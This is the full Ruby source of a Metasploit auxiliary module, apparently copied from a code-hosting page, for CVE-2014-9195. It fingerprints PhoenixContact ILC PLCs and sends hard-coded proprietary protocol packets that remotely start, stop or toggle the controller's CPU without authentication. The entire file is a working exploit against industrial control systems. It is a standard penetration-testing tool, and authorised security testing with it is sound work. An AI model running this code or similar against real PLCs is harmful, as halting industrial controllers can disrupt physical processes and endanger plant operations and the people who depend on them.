Path: blob/master/modules/auxiliary/admin/scada/phoenix_command.rb
19850 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Rex::Socket::Tcp89def initialize(info = {})10super(11update_info(12info,13'Name' => 'PhoenixContact PLC Remote START/STOP Command',14'Description' => %q{15PhoenixContact Programmable Logic Controllers are built upon a variant of16ProConOS. Communicating using a proprietary protocol over ports TCP/196217and TCP/41100 or TCP/20547.18It allows a remote user to read out the PLC Type, Firmware and19Build number on port TCP/1962.20And also to read out the CPU State (Running or Stopped) AND start21or stop the CPU on port TCP/41100 (confirmed ILC 15x and 17x series)22or on port TCP/20547 (confirmed ILC 39x series)23},24'Author' => 'Tijl Deneut <tijl.deneut[at]howest.be>',25'License' => MSF_LICENSE,26'References' => [27[ 'URL', 'https://github.com/tijldeneut/ICSSecurityScripts' ],28[ 'CVE', '2014-9195']29],30'DisclosureDate' => '2015-05-20',31'Notes' => {32'Stability' => [CRASH_OS_DOWN],33'SideEffects' => [IOC_IN_LOGS],34'Reliability' => []35}36)37)38register_options(39[40OptEnum.new('ACTION', [41true, 'PLC CPU action, REV means reverse current CPU state', 'NOOP',42[43'STOP',44'START',45'REV',46'NOOP'47]48]),49OptPort.new('RINFOPORT', [true, 'Set info port', 1962 ]),50OptPort.new('RPORT', [false, 'Set action port, will try autodetect when not set' ])51]52)53end5455# Here comes the code, hang on to your pants56def bin_to_hex(str)57str.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join58end5960def hex_to_bin(str)61str.scan(/../).map { |x| x.hex.chr }.join62end6364def send_recv_once(data)65buf = ''66begin67sock.put(data)68buf = sock.get_once || ''69rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e70elog(e)71end7273bin_to_hex(buf)74end7576def get_info(rhost, rport)77connect(true, 'RHOST' => rhost, 'RPORT' => rport)78data = send_recv_once("\x01\x01\x00\x1a\x00^\x00\x00\x00\x00\x00\x03\x00\x0cIBETH01N0_M\x00")79if data.nil? || data.length < 3680print_error('Could not obtain information on this device')81disconnect82return 'UNKNOWN'83end84code = data[34..35]85send_recv_once("\x01\x05\x00\x16\x00\x5f\x00\x00\x08\xef\x00" + hex_to_bin(code) + "\x00\x00\x00\x22\x00\x04\x02\x95\x00\x00")86data = send_recv_once("\x01\x06\x00\x0e\x00\x61\x00\x00\x88\x11\x00" + hex_to_bin(code) + "\x04\x00")87disconnect88if data.nil? || data.length < 20089print_error('Could not obtain information on this device')90return 'UNKNOWN'91end92plctype = hex_to_bin(data[60..99])93print_status('PLC Type = ' + plctype)94print_status('Firmware = ' + hex_to_bin(data[132..139]))95print_status('Build = ' + hex_to_bin(data[158..174]) + ' ' + hex_to_bin(data[182..199]))96print_status('------------------------------------')97plctype98end99100def init_phase1101send_recv_once("\x01\x00\x00\x00\x00\x00/\x00\x00\x00\x00\x00\x00\x00\xcf\xffAde.Remoting.Services.IProConOSControlService2\x00")102send_recv_once("\x01\x00\x00\x00\x00\x00.\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.IProConOSControlService\x00")103send_recv_once("\x01\x00\x00\x00\x00\x00)\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.IDataAccessService\x00")104send_recv_once("\x01\x00\x00\x00\x00\x00*\x00\x00\x00\x00\x00\x00\x00\xd4\xffAde.Remoting.Services.IDeviceInfoService2\x00")105send_recv_once("\x01\x00\x00\x00\x00\x00)\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.IDeviceInfoService\x00")106send_recv_once("\x01\x00\x00\x00\x00\x00%\x00\x00\x00\x00\x00\x00\x00\xd9\xffAde.Remoting.Services.IForceService2\x00")107send_recv_once("\x01\x00\x00\x00\x00\x00$\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.IForceService\x00")108send_recv_once("\x01\x00\x00\x00\x00\x000\x00\x00\x00\x00\x00\x00\x00\xce\xffAde.Remoting.Services.ISimpleFileAccessService3\x00")109send_recv_once("\x01\x00\x00\x00\x00\x000\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.ISimpleFileAccessService2\x00")110send_recv_once("\x01\x00\x00\x00\x00\x00*\x00\x00\x00\x00\x00\x00\x00\xd4\xffAde.Remoting.Services.IDeviceInfoService2\x00")111send_recv_once("\x01\x00\x00\x00\x00\x00)\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.IDeviceInfoService\x00")112send_recv_once("\x01\x00\x00\x00\x00\x00*\x00\x00\x00\x00\x00\x00\x00\xd4\xffAde.Remoting.Services.IDataAccessService3\x00")113send_recv_once("\x01\x00\x00\x00\x00\x00)\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.IDataAccessService\x00")114send_recv_once("\x01\x00\x00\x00\x00\x00*\x00\x00\x00\x00\x00\x00\x00\xd4\xffAde.Remoting.Services.IDataAccessService2\x00")115send_recv_once("\x01\x00\x00\x00\x00\x00)\x00\x00\x00\x00\x00\x00\x00\xd5\xffAde.Remoting.Services.IBreakpointService\x00")116send_recv_once("\x01\x00\x00\x00\x00\x00(\x00\x00\x00\x00\x00\x00\x00\xd6\xffAde.Remoting.Services.ICallstackService\x00")117send_recv_once("\x01\x00\x00\x00\x00\x00%\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.IDebugService2\x00")118send_recv_once("\x01\x00\x00\x00\x00\x00/\x00\x00\x00\x00\x00\x00\x00\xcf\xffAde.Remoting.Services.IProConOSControlService2\x00")119send_recv_once("\x01\x00\x00\x00\x00\x00.\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.IProConOSControlService\x00")120send_recv_once("\x01\x00\x00\x00\x00\x000\x00\x00\x00\x00\x00\x00\x00\xce\xffAde.Remoting.Services.ISimpleFileAccessService3\x00")121send_recv_once("\x01\x00\x00\x00\x00\x000\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.ISimpleFileAccessService2\x00")122send_recv_once("\x01\x00\x02\x00\x00\x00\x0e\x00\x03\x00\x03\x00\x00\x00\x00\x00\x05\x00\x00\x00\x12@\x13@\x13\x00\x11@\x12\x00")123end124125def init_phase2126send_recv_once("\xcc\x01\x00\r\xc0\x01\x00\x00\xd5\x17")127send_recv_once("\xcc\x01\x00\x0b@\x02\x00\x00G\xee")128send_recv_once("\xcc\x01\x00[@\x03\x1c\x00\x01\x00\x00\x00\x1c\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd7\x9a")129send_recv_once("\xcc\x01\x00[@\x04\x1c\x00\x01\x00\x00\x00\x1c\x00\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xeaC")130send_recv_once("\xcc\x01\x00\x06@\x05\x00\x006\x1e")131send_recv_once("\xcc\x01\x00\x07@\x06\x10\x00&u\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc6\x82")132end133134def get_state1(data)135if data[48..49] == '03'136state = 'RUN'137elsif data[48..49] == '07'138state = 'STOP'139elsif data[49..49] == '00'140state = 'ON'141else142print_error('CPU State not detected, full result is ' + data)143return144end145state146end147148def get_state2(data)149if data[16..17] == '04'150state = 'STOP'151elsif data[16..17] == '02'152state = 'RUN'153else154print_error('CPU State not detected, full result is ' + data)155return156end157state158end159160def get_cpu(rhost, rport, devicetype)161connect(true, 'RHOST' => rhost, 'RPORT' => rport)162state = 'unknown'163if devicetype == '15x'164init_phase1165## KeepAlive packet166send_recv_once("\x01\x00\x02\x00\x00\x00\x1c\x00\x03\x00\x03\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x07\x00\x05\x00\x06\x00\x08\x00\x10\x00\x02\x00\x11\x00\x0e\x00\x0f\x00\r\x00\x16@\x16\x00")167## Query packet168data = send_recv_once("\x01\x00\x02\x00\x00\x00\x08\x00\x03\x00\x03\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x40\x0b\x40")169state = get_state1(data)170elsif devicetype == '39x'171init_phase2172data = send_recv_once("\xcc\x01\x00\x0f@\x07\x00\x00\xea\xfa")173state = get_state2(data)174end175disconnect176print_status('CPU Mode = ' + state)177state178end179180def set_cpu(rhost, rport, action, state, devicetype)181connect(true, 'RHOST' => rhost, 'RPORT' => rport)182if devicetype == '15x'183init_phase1 ## Several packets (21)184send_recv_once("\x01\x00\x02\x00\x00\x00\x1c\x00\x03\x00\x03\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x07\x00\x05\x00\x06\x00\x08\x00\x10\x00\x02\x00\x11\x00\x0e\x00\x0f\x00\r\x00\x16@\x16\x00")185if action == 'START' || (action == 'REV' && state == 'STOP')186print_status('--> Sending COLD start now')187send_recv_once("\x01\x00\x02\x00\x00\x00\x02\x00\x01\x00\x06\x00\x00\x00\x00\x00\x01\x00")188else189print_status('--> Sending STOP now')190send_recv_once("\x01\x00\x02\x00\x00\x00\x00\x00\x01\x00\x07\x00\x00\x00\x00\x00")191end192elsif devicetype == '39x'193init_phase2 ## Several packets (6)194if action == 'START' || (action == 'REV' && state == 'STOP')195print_status('--> Sending COLD start now')196send_recv_once("\xcc\x01\x00\x04\x40\x0e\x00\x00\x18\x21")197else198print_status('--> Sending STOP now')199send_recv_once("\xcc\x01\x00\x01\x40\x0e\x00\x00\x4c\x07")200end201else202print_error('Unknown device type')203return204end205sleep(1) ## It takes a second for a PLC to start206get_cpu(rhost, rport, devicetype)207disconnect208end209210def run211rhost = datastore['RHOST']212action = datastore['ACTION']213ractionport = datastore['RPORT']214215device = get_info(rhost, datastore['RINFOPORT'])216217if device.start_with?('ILC 15', 'ILC 17')218devicetype = '15x'219print_status('--> Detected 15x/17x series, getting current CPU state:')220ractionport.nil? ? (rport = 41100) : (rport = ractionport)221elsif device.start_with?('ILC 39')222devicetype = '39x'223print_status('--> Detected 39x series, getting current CPU state:')224ractionport.nil? ? (rport = 20547) : (rport = ractionport)225else226print_error('Only ILC and (some) RFC devices are supported.')227return228end229230state = get_cpu(rhost, rport, devicetype)231print_status('------------------------------------')232233if action == 'NOOP'234print_status("--> No action specified (#{action}), stopping here")235return236end237238set_cpu(rhost, rport, action, state, devicetype)239end240end241242243